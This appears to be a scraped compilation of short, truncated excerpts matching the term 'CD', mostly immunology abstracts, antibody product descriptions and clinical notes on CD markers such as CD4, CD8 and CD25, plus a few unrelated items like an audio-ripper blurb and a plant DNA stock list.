CD282 (TLR2), PE, clone: TL2.1, eBioscience™ 100 Tests; PE CD282 (TLR2), PE, clone: TL2.1, eBioscience™ Primary Antibodies CD251 to CD400
CD135 (Flt3), clone: A2F10, eBioscience™ 100μg; Unconjugated CD135 (Flt3), clone: A2F10, eBioscience™ Primary Antibodies CD101 to CD150
CD284 (TLR4), PE, clone: HTA125, eBioscience™ 25 Tests; PE CD284 (TLR4), PE, clone: HTA125, eBioscience™ Primary Antibodies CD251 to CD400
CD66b, PE, clone: G10F5, eBioscience™ 100 Tests; PE CD66b, PE, clone: G10F5, eBioscience™ Primary Antibodies CD51 to CD100
The hyaluronan (HA)-binding function (lectin function) of the leukocyte homing receptor, CD44, is tightly regulated. Herein we address possible mechanisms that regulate CD44 isoform-specific HA binding. Binding studies with melanoma transfectants expressing CD44H, CD44E, or with soluble immunoglobulin fusions of CD44H and CD44E (CD44H-Rg, CD44E-Rg) showed that although both CD44 isoforms can bind HA, CD44H binds HA more efficiently than CD44E. Using CD44-Rg fusion proteins we show that the variably spliced exons in CD44E, V8-V10, specifically reduce the lectin function of CD44, while replacement of V8-V10 by an ICAM-1 immunoglobulin domain restores binding to a level comparable to that of CD44H. Conversely, CD44 bound HA very weakly when exons V8-V10 were replaced with a CD34 mucin domain, which is heavily modified by O-linked glycans. Production of CD44E-Rg or incubation of CD44E-expressing transfectants in the presence of an O-linked glycosylation inhibitor restored HA binding to CD44H-Rg and ...
The CD4+/CD8+ ratio measures the ratio of T helper cells to cytotoxic T cells. The CD4+/CD8+ ratio in the peripheral blood of healthy adults and mice is about 2:1, and an altered ratio can indicate diseases relating to immunodeficiency or autoimmunity. An inverted CD4+/CD8+ ratio (namely, less than 1/1) indicates an impaired immune system. A reduced CD4+/CD8+ ratio is associated with reduced resistance to infection. Patients with tuberculosis show a reduced CD4+/CD8+ ratio. A declining CD4+/CD8+ ratio is associated with ageing, and is an indicator of immunosenescence. A study of elderly humans showed the highest expansion of cytotoxic T cells among those with cytomegalovirus. In obese adipose tissue, pro-inflammatory CD8+ cells increase and recruit macrophages, predominating over anti-inflammatory CD4+ cells. HIV infection leads to low levels of CD4+ T cells (lowering the CD4+/CD8+ ratio) through a number of mechanisms, including pyroptosis of abortively infected CD4 T cells, apoptosis of ...
Purified CD3-4- thymocytes were obtained by depletion of CD3+ and CD4+ cells from fresh thymocyte suspensions. 5-15% of these cells were found to express CD16 antigen, while other natural killer (NK) cell markers were virtually absent. Double fluorescence analysis revealed that 20-40% of thymic CD16+ cells coexpressed CD1, while approximately half were cyCD3+. When cultured in the presence of peripheral blood lymphocytes and H9 leukemia cell line as a source of irradiated feeder cells and interleukin 2 (IL-2), CD3-4- thymocytes underwent extensive proliferation. In addition, after 1-2 wk of culture, 30-50% of these cells were found to express CD16 surface antigen. Cloning under limiting dilution conditions of either CD3-4- or CD3-4-16- thymocytes in the presence of irradiated H9 cells resulted in large proportions (approximately 50%) of CD16+ clones. On the basis of the expression of surface CD16 and/or cyCD3 antigen, clones could be grouped in the following subsets: CD16+ cyCD3+; CD16+ cyCD3-; ...
T cell (TC) activation requires the coordinated signaling of the T cell receptor (TCR) and coreceptor molecules, allowing TCs to respond to lower degrees of TCR occupancy. Coreceptor molecules set the threshold for TC activation by controlling different regulatory signaling loops. The Cbl family members prevent undesired activation of T cells by regulating TCR signals. In this report, we show that TC prestimulation by the CD43 coreceptor molecule before TCR engagement inhibits TCR-dependent c-Cbl tyrosine phosphorylation, c-Cbl interaction with the adapter molecule Crk-L and promotes Cbl-b degradation in a PKCθ-dependent manner. Consequently, the prolonged tyrosine phosphorylation and delayed degradation of ZAP-70 and of the ζ chain lead to enhanced mitogen-activated protein kinase activation and robust TC response. These data indicates that CD43-mediated signals lower the threshold for TC activation by restricting the c-Cbl and Cbl-b inhibitory effects on TCR signaling. In addition to the strength
Like most mammalian species, humans express several structurally distinct CD1 antigen-presenting molecules. The conservation of large CD1 gene families among most mammals suggests that each type of CD1 protein has distinct functions that confer selective advantage. Cellular studies of CD1 proteins increasingly explain how each CD1 protein differs from the others. CD1a, CD1b, CD1c, and CD1d have distinct antigen groove structures, patterns of expression in tissues, intracellular trafficking, and trigger T cells expressing diverse TCRs (Kasmar et al., 2009). CD1d (group 2) diverges most clearly from CD1a, CD1b, and CD1c (group 1) with regard to protein sequence. Also, group 1 and group 2 CD1 proteins show differing transcriptional responses to pathogens, suggesting that they function at different stages of the immune response (Roura-Mir et al., 2005b). Collectively, these cellular studies suggest that group 1 and group 2 CD1 proteins likely have differing roles in immune responses.. The majority ...
Adoptive transfer of CD4+CD25+ T cells inhibits HSV-1-specific CD8+ T cell responses. Purified CD4+CD25+ and CD4+CD25− T cells (2 × 106/mouse) were adoptively transferred into WT B6 mice 24 h before HSV infection, and the immune response was measured on days 7 and 28 p.i. (A) On days 7 and 28 p.i., spleen cells were incubated with gB498-505, and CD8/IFN-γ production was measured by intracellular staining. The number shown in each plot is the mean percentage of IFN-γ-producing CD8+ T cells obtained from four mice per group. (B) The resulting decrease in IFN-γ-secreting CD8+ T cells in B6 mice after adoptive transfer of CD4+CD25+ T cells were also measured by a standard ELISPOT assay. On days 7 and 28 post HSV infection, spleen cells were analyzed for the number of IFN-γ-secreting CD8+ T cells in response to SSIEFARL peptide. The error bars represent the mean ± SD of four different mice in the same group. *P , 0.05 compared with HSV-infected B6 mice receiving no adoptive transfer. Without ...
CD8+ CTLs are essential for effective immune defense against intracellular microbes and neoplasia. CTLs recognize short peptide fragments presented in association with MHC class I (MHCI) molecules on the surface of infected or dysregulated cells. Ag recognition involves the binding of both TCR and CD8 coreceptor to a single ligand (peptide MHCI [pMHCI]). The TCR/pMHCI interaction confers Ag specificity, whereas the pMHCI/CD8 interaction mediates enhanced sensitivity to Ag. Striking biophysical differences exist between the TCR/pMHCI and pMHCI/CD8 interactions; indeed, the pMHCI/CD8 interaction can be ,100-fold weaker than the cognate TCR/pMHCI interaction. In this study, we show that increasing the strength of the pMHCI/CD8 interaction by ∼15-fold results in nonspecific, cognate Ag-independent pMHCI tetramer binding at the cell surface. Furthermore, pMHCI molecules with superenhanced affinity for CD8 activate CTLs in the absence of a specific TCR/pMHCI interaction to elicit a full range of ...
Results Cultured cells started to express CD14 on the day 12 and more than 90% of the cells expressed CD14 on the day 21 in the monocyte differentiation induction course. According to the expression levels of CD14, the cell population was divided into three groups: CD14 (−), CD14 (+) and CD14 (++). CD15 (+) cells were observed in CD14 (−) and CD14 (+) population but not in CD14 (++) population. The CD15+ cells in CD14 (+) transiently appeared in RA-iPS derived cells at 11.9±2.8% (mean ± SE) on day15. However these cell proportion in NOF was1.7±2.0%. Meanwhile, CD15+ cells in CD14 (−) proportion decreased during monocyte differentiation in RA-iPS cells, but remained in NOF-iPS cells (representative data, RA 31.5, 20.6, 15.6%, NOF 47.3, 46.1, 47.3%, on day15, 18 and 21).. ...
We next tested the prediction that the inhibitory activity of LLC CD4+CD25+ TILs should be greater than that of peripheral LN CD4+CD25+ cells. As shown in Fig. 3⇑B, there was no difference in the suppressive potency of Tregs over various ratios of T effector (Teff) to Treg cells from peripheral LNs of tumor-bearing and control mice. In contrast, TIL CD4+CD25+ cells retrieved from LLC tumors exhibited far more potent suppressive activity than LN CD4+CD25+ cells from tumor-free mice (Fig. 3⇑C). Thus, the suppressive effects of peripheral LN Tregs and TIL Tregs correlated well with their levels of TNFR2 expression. As shown in Fig. 3⇑, B and C, the potent inhibitory effect exerted by CD4+CD25+ TILs was not Ag specific because both targeted responder cells and APCs were from tumor-free mice. The phenotype of TIL CD4+CD25+ cells, which were 75∼100% TNFR2+, resembled that of normal mouse LN TNFR2+ Tregs and were indicative of an activated/memory subset (data not shown).. Although other factors ...
CD4+/CD8+/CD3+ cells are 1-4% range of the lymphocyte population from our HIV+ patients. Most of the cells are brightCD4+/dimCD8+ but all combinations of bright and dim are possible. We include these dual positive cells in both the CD3+/CD4+ and CD3+/CD8+ counts. What do other labs do with these cells and why? -----Original Message----- From: Kenneth Ault [mailto:aultk at] Sent: Wednesday, October 31, 2001 7:32 PM To: cyto-inbox Subject: Re: cd4 cd8 coexpression A phenomenon frequently forgotten is coincidence. If two cells enter the observation volume at the same time they will be seen as one event with the properties of both cells. This is a very common problem in my world (platelets) and should be considered as a possible explanation for any kind of unexpected dual expression of markers. It would be interesting to know if the frequency of CD4/CD8 doubles changes as the particle flow rate changes (i.e change the sample pressure or dilute the specimen.) Ken Ault ...
ClearLLab Control Cells Normal and ClearLLab Control Cells Abnormal are stabilized preparations of assayed, lysable whole blood intended as process controls for the verification of the ClearLLab 10C Panels on the Navios and Navios EX flow cytometers. Parameters assayed include: Kappa, Lambda, CD5, CD200, CD38, CD20, CD19, CD45, TCRγδ, CD4, CD2, CD56, CD3, CD7, CD8, CD16, CD10, CD13, CD64, CD14, HLA-DR, CD11b, CD15, CD33, CD34, CD117, and CD123 They provide positive cell controls that are processed in the same manner as a whole blood sample. This allows verification of reagent performance and the methods used for staining targeted cells, lysing erythrocytes, and analyzing samples with flow cytometry.
We next determined the function of the CD4+CD25+ T cells. For these experiments we used the CD4+CD25- and CD4+CD25+ peripheral blood T cells whose FoxP3 expression levels were shown in Figure 1 (a and b). These T cell subsets were assessed for their ability to respond to T cell receptor (TCR) stimulation, and for the ability of the CD25+ cells to suppress the in vitro activation of the CD25- cells. When cultured in the presence of feeder cells along with soluble anti-CD3 and anti-CD28, the CD4+CD25- cells responded with robust proliferation, whereas the CD4+CD25+ cells did not (Figure 1c). When the two populations were cocultured, the level of proliferation, as measured by 3H-thymidine incorporation, was dramatically reduced (Figure 1c). The level of suppression seen was correlated with the ratio of CD4+CD25-:CD4+CD25+ cells in the culture, with more CD25+ cells resulting in more suppression of CD25- cell proliferation. These results are not due to exhaustion of the resources within the culture ...
CD200 (OX2) is a broadly distributed cell surface glycoprotein that interacts with a structurally related receptor (CD200R) expressed on rodent myeloid cells and is involved in regulation of macrophage function. We report the first characterization of human CD200R (hCD200R) and define its binding characteristics to hCD200. We also report the identification of a closely related gene to hCD200R, designated hCD200RLa, and four mouse CD200R-related genes (termed mCD200RLa-d). CD200, CD200R, and CD200R-related genes were closely linked in humans and mice, suggesting that these genes arose by gene duplication. The distributions of the receptor genes were determined by quantitative RT-PCR, and protein expression was confirmed by a set of novel mAbs. The distribution of mouse and human CD200R was similar, with strongest labeling of macrophages and neutrophils, but also other leukocytes, including monocytes, mast cells, and T lymphocytes. Two mCD200 receptor-like family members, designated mCD200RLa and
As with any breakthrough, new questions arise and new experiments become feasible.....One problem, however, is that CD32a is a marker for only 50% of the reservoir, whereas the eradication of latent HIV would require a much greater reduction in the number of latently infected cells in the body. Moreover, targeting CD32a would also make the antigen-presenting cells that normally express CD32a vulnerable to destruction, which might well cause unwanted or harmful side effects.....Second, the authors studied CD4 lymphocytes from the blood, but these circulating cells account for 2%, at most, of the CD4 T cells in the body2. It remains to be seen whether CD32a is as good a marker for latently infected cells in the lymph nodes, bone marrow, gut and other tissues. Perhaps more markers could be identified from the 103 differentially expressed genes found in the researchers screen - analysis of these proteins in combination with CD32a might increase the total proportion of identifiable latent ...
MDSCs are myelomonocytic cells with immunosuppressive activity induced by tumor growth. These cells have been thoroughly characterized in the mouse and are distinguished in granulocytic and monocytic MDSCs, according to the presence of specific markers: monocytic MDSCs are CD11b+ve/Ly6G-ve/Ly6Chigh, whereas granulocytic MDSCs are CD11b+ve/Ly6G+ve/Ly6Clow. There are no uniform markers for human MDSCs, although it has been observed that lineage-negative (Lin−) myeloid cells bearing Cd11b, CD33, and various combinations of CD66b, CD14, CD15, and HLA-DRlow markers have immunosuppressive activity (22). Pharmacologically induced differentiation or depletion of these cells has been shown to improve the immune response in patients with cancer (23, 24). Thus, it is likely that therapeutic interventions aimed at the inactivation of MDSCs could benefit patients by reactivating the antitumor immune response. Neuroblastoma is a pediatric cancer with a dismal outcome in its high-risk, metastatic form. The ...
CD to MP3 Maker is an extremely easy to use cd ripper and MP3 to WAV decoder and WAV to MP3 encoder for Windows 9X/NT/Me/2000/XP/Vista/7 . Rip CD to MP3,OGG,WMA,WAV,AAC,APE,FLAC,TTA,SPX,AC-3,MP2,WV(wavepack) and MPC(musepack) CD to MP3 Maker is an extremely easy to use cd ripper and audio converter for Windows OS. It may rip CD to MP3,OGG,WMA,WAV,AAC,APE,FLAC,TTA,SPX,AC-3,MP2,WV(wavepack) and MPC(musepack) .And convert audio formats MP3, WAV, WMA, OGG, AAC ...
In this study, the method to achieve the precise CD MTT (critical dimension mean to target) correction in manufacturing attenuated PSM (phase-shift mask) is investigated. There has been a growing demand for more precise Mask CD MTT control in recent years. The CD correction method has been developed and applied to meet the tighter CD MTT specification [1]. However, the efficiency of the CD correction is greatly affected by the repeatability of the CD measurement. The factors, which can have an influence on the CD measurement, are the fluctuations of the pattern profile and the electron current of the SEM. The conventional CD MTT correction method is basically to correct MoSi CD MTT by applying the additional dry etch for MoSi based on Cr CD value. Therefore, the repeatability of the Cr CD MTT is the crucial point for the accuracy of the final CD MTT correction. Although the Cr CD MTT is the crucial factor for the successful CD MTT correction, it has the fluctuation due to the Cr pattern profile. ...
Paraf, A; Taylor, D W.; Mage, M; and Mathieson, B J., Analysis of membrane proteins from lyt 2+ positive thymocytes. Abstr. (1982). Subject Strain Bibliography 1982. 2005 ...
CD25 is the alpha chain of the IL-2 receptor. It is a type I transmembrane protein present on activated T cells, activated B cells, some thymocytes, myeloid precursors, and oligodendrocytes that associates with CD122 to form a heterodimer that can act as a high-affinity receptor for IL-2. Studies have shown that a large proportion of resting memory T cells constitutively express CD25. CD25 is expressed in most B-cell neoplasms, some acute nonlymphocytic leukemias, neuroblastomas, and tumor infiltrating lymphocytes. Its soluble form, called sIL-2R may be elevated in these diseases and is occasionally used to track disease progression. CD25 is also utilized in cases of ...
Mouse anti Rat CD11a antibody, clone WT.1 reacts with rat CD11a, a glycoprotein of 160-170 kDa, associated with CD18. CD11a is one of the
CD4 and CD8 are the cells most commonly infected by the human immunodeficiency virus, or HIV. A high CD4 or CD8 ratio would indicate that the disease is progressing slowly or that the infection is...
CD4+ T细胞的激活需要T细胞上的TCR和共受体(CD28或ICOS),抗原呈递细胞上的MHCII和共激活分子两对分子的分别,同时结合。仅其中一对的结合,无法产生有效的T细胞激活。理想的CD8+ T细胞激活则依赖于CD4+ T细胞的信号转导[28]。CD4+细胞可以在初级CD8 T细胞的初次免疫应答中给予帮助,并且在急性感染的后期维持CD8+ 记忆T细胞的活性。所以,CD4+ T的激活对于CD8+ T细胞的活动是有利的[29][30][31]。 相比于MHC分子上的抗原,抗原呈递细胞的共激活分子一般是由病原体的副产物、热休克蛋白或者坏死的细胞碎片诱导表达的。共刺激机制被认为可以避免自体免疫的发生,因为即使T细胞错误地结合了自体抗原,也可能因为没有受到合适的共刺激而无法正常活化。一旦T细胞被正确地活化,它的细胞表面蛋白表达就会发生巨大的改变,活化T细胞的标志蛋白包括CD69,CD71,CD25 ...
IHC Markers. Cytokeratins, Epithelial. AE1/AE3, CK5/6, CK7, CK8, 35BH11, CK8/18, CK19, CK20, CAM 5.2, HMW 34BE12, BER EP4, CEA, CDX2, D2-40, GCDFP 15, HEP-Par-1, , Galectin 3, Inhibin, RCC, thyroglobulin, TTF-1, , PLAP. CD Markers. CD1a, CD2, CD3, CD4, CD5, CD7, CD8, CD10, CD15, CD20, CD23, CD30, CD31, CD33, CD34, CD42b, CD43, CD45, CD45 RO, CD56, CD57, CD61, CD68, CD79a, CD99, CD103, CD117, CD138, CD163. Proliferation & prognostics markers. HER2/neu, MLH1/MSH2/MSH6/PMS2, P53, cathepsin D, KI67, WT1, AKT. Other IHC/CISH markers available and custom on request- see menu list. Flow Cytometry Markers. Lymphoid markers. CD2, CD3, CD4, CD5, CD7, CD8, CD10, CD19, CD20, CD23, CD38, CD45, CD56, CD57, sIgkappa, sIglambda, and FMC7. Lymphocyte profile and absolute counts. CD4, CD8, CD3, CD45, CD19, CD56. Myeloid Markers. CD11b, CD13, CD14, CD16, CD33, CD34, CD45, CD117, and HLADR. NK cell markers. CD16, CD56, CD57. Plasma cell markers. CD38, CD45, CD56, CD138, cIg kappa, cIg lambda. Specialty ...
Studies of the most immature T cell progenitors in the human thymus have been hampered by the lack of markers and assays that define these cells. In this report we used a novel human fetal thymic organ culture system to determine the potential of T cell precursors isolated from human postnatal thymus, to differentiate into CD3+ thymocytes, and to investigate early stages of human T cell development. It was found that thymocytes that lack the markers CD3, CD4, and CD8 (triple negative [TN]) can differentiate in an allogeneic organotypic thymic culture. The capacity of TN thymocytes to differentiate was exclusively confined to the CD34+ population. CD34- TN thymocytes failed to differentiate in this system. In contrast, cloned lines of CD3- thymocytes could only be established from CD34- TN thymocytes. Five subsets of CD3- thymocytes were found with the following phenotype: CD1-TN, CD1+TN, CD1+CD4+CD8-, CD1+CD4+CD8 alpha+ beta-, and CD1+CD4+CD8 alpha beta+. These subpopulations expressed ...
In comparison to murine dendritic cells (DCs), less is known about the function of human DCs in tissues. Here, we analyzed, by using lung tissues from humans and humanized mice, the role of human CD1c(+) and CD141(+) DCs in determining the type of CD8(+) T cell immunity generated to live-attenuated influenza virus (LAIV) vaccine. We found that both lung DC subsets acquired influenza antigens in vivo and expanded specific cytotoxic CD8(+) T cells in vitro. However, lung-tissue-resident CD1c(+) DCs, but not CD141(+) DCs, were able to drive CD103 expression on CD8(+) T cells and promoted CD8(+) T cell accumulation in lung epithelia in vitro and in vivo. CD1c(+) DCs induction of CD103 expression was dependent on membrane-bound cytokine TGF-β1. Thus, CD1c(+) and CD141(+) DCs generate CD8(+) T cells with different properties, and CD1c(+) DCs specialize in the regulation of mucosal CD8(+) T cells. Immunity 2013 Apr 18; 38(4):818-30.
|span style=font-family:Times,serif;font-size:9pt;>The SK1 monoclonal antibody specifically binds to CD8 alpha (CD8α). CD8α is a type I transmembrane glycoprotein and a member of the immunoglobulin superfamily. CD8α is expressed by the majority of thymocytes, by subpopulations of αβ T cells and γδ T cells and by some NK cells. Cell surface CD8α is expressed either as a disulfide-linked homodimer (CD8αα) or as a heterodimer (CD8αβ) when disulfide-bonded to a CD8 beta chain (CD8β). CD8-positive αβ T cells coexpress both CD8αα homodimers and CD8αβ heterodimers whereas som|/span>|span style=font-family:Times,serif;color:#000000;font-size:9pt;>e γδ T cells and NK cells express CD8αα homodimers. CD8 plays important roles in T cell activation and selection. The extracellular IgSF domain of CD8α binds to a non-polymorphic determinant on HLA class I molecules (α3 domain) and enables CD8 to function as a co-receptor with MHC class I-restricted TCR during T cell recognition of
The CD2 receptor on T lymphocytes is essential for T cell adhesion and stimulation by antigen presenting cells (APCs). Blockade of CD2 function is immunosuppressive in both model systems and humans, indicating the importance of CD2 for the cellular immune response. Although the affinity of the molecular interaction between CD2 and its counter-receptor, CD58, is relatively low when measured in solution, this interaction mediates tight adhesion within the 2D cell-cell interface. To understand the mechanisms responsible for regulating the avidity of the CD2-CD58 interaction, we measured the number, affinity, and lateral mobility of CD2 molecules on resting and activated T cells. Cell activation caused a 1.5-fold increase in the number of CD2 sites on the cell surface, and the 2D affinity of CD2 for CD58 increased by 2.5-fold. The combination of T cell activation and CD2 ligation to CD58 decreased the laterally mobile fraction of the ligated CD2. Together, these changes would substantially enhance CD2
Human CD1d molecules present an unknown ligand, mimicked by the synthetic glycosphingolipid α-galactosylceramide (αGC), to a highly conserved NKT cell subset expressing an invariant TCR Vα24-JαQ paired with Vβ11 chain (Vα24+Vβ11+ invariant NK T cell (NKTinv)). The developmental pathway of Vα24+Vβ11+NKTinv is still unclear, but recent studies in mice were consistent with a TCR instructive, rather than a stochastic, model of differentiation. Using CD1d-αGC-tetramers, we demonstrate that in humans, TCR variable domains other than Vα24 and Vβ11 can mediate specific recognition of CD1d-αGC. In contrast to Vα24+Vβ11+NKTinv Vα24-/CD1d-αGC-specific T cells express either CD8αβ or CD4 molecules, but they are never CD4 CD8 double negative. We show that CD8αβ+Vα24-/CD1d-αGC-specific T cells exhibit CD8-dependent specific cytotoxicity and have lower affinity TCRs than Vα24+/CD1d-αGC-specific T cells. In conclusion, our results demonstrate that, contrary to the currently held view,
DTA-1 mAb abrogates suppression mediated by CD4+ CD25+ T cells. (A) CD4+ CD25- or CD4+ CD25+ T cells (gated as a or b, respectively) were purified by cell-sorter from BALB/c spleen cells. (B) CD4+ CD25+ T cells (open square and closed square) or CD4+ CD25- T cells (open circle and closed circle) purified from 2-month-old BALB/c mice, or these two populations mixed in equal amounts (open triangle and closed triangle), were stimulated for 3 days along with MMC-treated spleen cells as APC in the absence or presence of graded amounts of DTA-1 mAb. Incorporation of [3H] thymidine by proliferating lymphocytes during the last 6 hr of the culture was measured. (C) Spleen cell suspensions prepared from 2-month-old BALB/c mouse were stained with anti-CD4, anti-CD25 and DTA-1. Expression of GITR (DTA-1) on CD4+ CD25+ T cells or CD4+ CD25- T cells is shown in the histogram. The dotted lines represent control staining with an irrelevant Ab.. ...
Figure 3. Expression of CD25 on LSCs is dependent on STAT5 activity. A, CD25 expression on CD34+/CD38─ LSCs was analyzed by flow cytometry after incubation in control medium, pimozide (10 or 50 μmol/L), or DMSO at 37°C for 24 hours. Results show CD25 expression (median fluorescence intensity) on CD34+/CD38─ LSCs as a percentage of control and represent the mean ± SD from three independent experiments. Asterisk (*): P , 0.05 compared with untreated cells (control). B, CD25 expression on CD34+/CD38─ LSCs after incubation in control medium, BEZ235, or RAD001 (each 1 μmol/L) at 37°C for 24 hours. Results show CD25 expression on CD34+/CD38─ LSCs as a percentage of control and represent the mean ± SD from five independent experiments. C, expression of pSTAT5 (top) and CD25 (bottom) in KU812 cells after incubation in control medium or TKIs (imatinib, nilotinib, ponatinib, each 0.01-1 μmol/L) at 37°C for 4 hours (pSTAT5) or 24 hours (CD25). Results are expressed as staining index (SI; ...
TY - JOUR. T1 - In vitro expansion of CD3/TCR- human thymocyte populations that selectively lack CD3δ gene expression. T2 - A phenotypic and functional analysis. AU - Poggi, Alessandro. AU - Biassoni, Roberto. AU - Pella, Nicoletta. AU - Paolieri, Francesca. AU - Bellomo, Rosanna. AU - Bertolini, Alberto. AU - Moretta, Lorenzo. AU - Mingari, Maria Cristina. PY - 1990/11/1. Y1 - 1990/11/1. N2 - Highly purified CD1-3-4-8- human thymocytes were obtained by panning techniques combined with cell depletion with antibody-coated magnetic beads. Most of these cells expressed cytoplasmic CD3 antigen, as assessed by mAbs known to react with the CD3∈ chain. After culture with low doses of PMA (0.5 ng/ml) and subsequent addition (at 24 h) of recombinant interleukin 2 (rIL-2; 100 U/ml) cells underwent extensive proliferation (40-60-fold of the initial cell input after 2 wk). The majority of the proliferating cells were CD3-TCR-. The remaining cells (5-40%) were represented by CD3+TCR γ/δ+ (BB3-A13+) ...
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|span style=font-family:Times,serif;font-size:9pt;>The L293 monoclonal antibody specifically binds to CD28 which is also known as Tp44 or T44. The CD28 antigen is a 44 kDa homodimeric type I transmembrane glycoprotein which is present on most mature T cells, thymocytes, and plasma cells. CD28 is a cell-adhesion molecule (CAM) that functions as a receptor for CD80 (B7-1) and CD86 (B7-2) antigens, which are present on activated B lymphocytes, monocytes, and dendritic cells. Interaction of the CD28 antigen with CD80 or CD86 antigens, or both, co-stimulates CD2 and CD3 antigen/T-cell antigen receptor (TCR)-dependent T-cell-mediated proliferation and cytotoxicity. The L293 antibody has been demonstrated to bind to the same molecule as clone CD28.2, another CD28-specific antibody.|/span>
Interleukin-2 (IL-2) stimulates both activated CD4+ and CD8+ T cells to proliferate. IL-2 signals through an identical receptor complex and promotes the same dose-dependent phosphorylation of the canonical transcription factor STAT5 in both cell types. Despite this, CD8+ T cells enter the S phase earlier and proliferate to a greater extent than do CD4+ T cells in response to IL-2. We identified distinct IL-2 signaling dynamics in CD4+ and CD8+ T cells. In IL-2-stimulated CD8+ T cells, STAT5 phosphorylation increased rapidly and was sustained for 6 hours. In contrast, CD4+ T cells had a biphasic response, with maxima at 15 min and 2 to 4 hours after stimulation. Both cell types required vesicular trafficking, but only CD4+ T cells required new protein synthesis to maintain high phosphorylation of STAT5. Two subunits of the IL-2 receptor, IL-2Rβ and IL-2Rγ, were twice as abundant in CD8+ T cells than in CD4+ T cells. Reduction of IL-2Rβ abundance by 50% was sufficient to convert CD8+ T cells to ...
ARABIDOPSIS BIOLOGICAL RESOURCE CENTER AT OHIO STATE DNA STOCK LIST MEYEROWITZ LAB RFLP PHAGE These clones have been tested against all three crosses among Columbia, Landsberg erecta and Niederzenz. The map positions are taken from Chang et al. (1988) PNAS v. 85 p.6859. Updated and more detailed information will be included in the catalog and database. Stocks are listed by map location. CalTech Stock # Number Chrom. # Map Position ---------------------------------------------------------- CD1-10 488 1 11.3 CD1-9 322 1 14.2 CD1-8 241 1 19.9 CD1-7 333 1 23.2 CD1-6 219 1 26.5 CD1-5 235 1 36.4 CD1-4 215 1 51.6 CD1-3 310 1 51.6 CD1-2 271 1 56.5 CD1-1 201 1 58.8 CD1-19 402 1 60.8 CD1-18 254 1 60.8 CD1-17 335 1 65.1 CD1-16 253 1 68.9 CD1-15 299 1 68.9 CD1-14 281a 1 84.8 CD1-13 213 1 87.9 CD1-12 280 1 99.0 CD1-11 305 1 107.1 CD1-29 421 1 109. CD1-28 315 1 113. CD1-27 252 1 123.4 CD1-26 453 1 125.5 CD1-25 532 1 134.7 CD1-24 237 1 136.3 CD1-36 132 1 144.4 CD1-22 336 2 0 CD1-21 429 2 0.02 CD1-20 551 2 16.3 ...
Asthma affects approximately 300 million people worldwide and is the most common chronic lung disease, which usually is associated with bronchial inflammation. Most research has focused upon the role of CD4+ T cells and relatively few studies have addressed the phenotypic and functional roles of CD8+ T cell types and subtypes.Human NK-like CD8+ T cells may involve cells that have been described as CD8+CD28-, CD8+CD28-CD57+, CD8+CD27-, or CD8+ effector-memory (TEM) cells, among other. However, most of the data which is available regarding these various cell types were obtained in murine models, did not thoroughly characterize these cells with phenotypically or functionally or did not involve asthma-related settings.Nevertheless, one may conceptualize three principal roles for human NK-like CD8+ T cells in asthma: disease-promoting, regulatory and/or tissue repair. Although evidence for some of these roles is scarce, it is possible to extrapolate some data from overlapping or related CD8+ T cell
CD3 complex is crucial in transducing antigen-recognition signals into the cytoplasm of T cells and in regulating the cell surface expression of the TCR complex. T cell activation through the antigen receptor (TCR) involves the cytoplasmic tails of the CD3 subunits CD3 gamma, CD3 delta, CD3 epsilon and CD3 zeta (CD247). These CD3 subunits are structurally related members of the immunoglobulins super family encoded by closely linked genes on human chromosome 11. The CD3 components have long cytoplasmic tails that associate with cytoplasmic signal transduction molecules. This association is mediated at least in part by a double tyrosine-based motif present in a single copy in the CD3 subunits. CD3 may play a role in TCR-induced growth arrest, cell survival and proliferation ...
CD3 complex is crucial in transducing antigen-recognition signals into the cytoplasm of T cells and in regulating the cell surface expression of the TCR complex. T cell activation through the antigen receptor (TCR) involves the cytoplasmic tails of the CD3 subunits CD3 gamma, CD3 delta, CD3 epsilon and CD3 zeta (CD247). These CD3 subunits are structurally related members of the immunoglobulins super family encoded by closely linked genes on human chromosome 11. The CD3 components have long cytoplasmic tails that associate with cytoplasmic signal transduction molecules. This association is mediated at least in part by a double tyrosine-based motif present in a single copy in the CD3 subunits. CD3 may play a role in TCR-induced growth arrest, cell survival and proliferation ...
APC anti-human Lineage Cocktail (CD3, CD14, CD16, CD19, CD20, CD56) - This anti-Human Lineage Cocktail is optimized for the detection of human peripheral blood T cells, B cells, NK cells, monocytes, and neutrophils.
Here we show that elevated CD14++CD16− monocytes predict cardiovascular events. Elevated CD14++CD16− monocytes predicted CVD risk independently of gender, age, current smoking, HDL cholesterol, and presence of diabetes and hypertension. CD14++CD16− monocytes did not, however, associate with the extent of atherosclerosis at baseline. In contrast, the percentages of monocytes expressing CD16 were negatively associated to carotid IMT at baseline. This seems contradictory but might indicate that different monocyte subsets have different biological functions. CD14++CD16− monocytes might cause inflammation that weakens the fibrous cap covering plaques and thus be associated with increased risk of clinical events, whereas CD16-expressing monocytes might play a greater role in determining the size of the plaque, perhaps even having a protective, or reparative, rather than plaque-promoting function. The chemokine receptors CCR2, CX3CR1, and CCR5 were not differentially expressed between cases and ...
A CD4+ count is a blood test to determine how well the immune system is working in people who have been diagnosed with human immunodeficiency virus (HIV). CD4+ cells are a type of white blood cell. White blood cells are important in fighting infections. CD4+ cells are also called T-lymphocytes, T-cells, or T-helper cells.. HIV infects CD4+ cells. The number of CD4+ cells helps determine whether other infections (opportunistic infections) may occur. The pattern of CD4+ counts over time is more important than any single CD4+ value because the values can change from day to day. The CD4+ pattern over time shows the effect of the virus on the immune system. In people infected with HIV who are not getting treated, CD4+ counts generally decrease as HIV progresses. A low CD4+ count usually indicates a weakened immune system and a higher chance of getting opportunistic infections.. ...
CD45 is a transmembrane glycoprotein possessing tyrosine phosphatase activity, which is involved in cell signaling. CD45 is expressed on the surface of most leukocytes and can be alternatively spliced by the inclusion or skipping of three variable exons (4, 5, and 6 or A, B, and C) to produce up to eight isoforms. In T cells, the splicing pattern of CD45 isoforms changes after activation; naive cells express high m.w. isoforms of CD45 which predominantly express exon A (CD45RA), whereas activated cells lose expression of exon A to form low m.w. isoforms of CD45 including CD45RO. Little is known about the specific factors controlling the switch in CD45 splicing which occurs on activation. In this study, we examined the influence of the SR family of splicing factors, which, like CD45, are expressed in tissue-specific patterns and have been shown to modulate the alternative splicing of a variety of transcripts. We show that specific SR proteins have antagonistic effects on CD45 splicing, leading either to
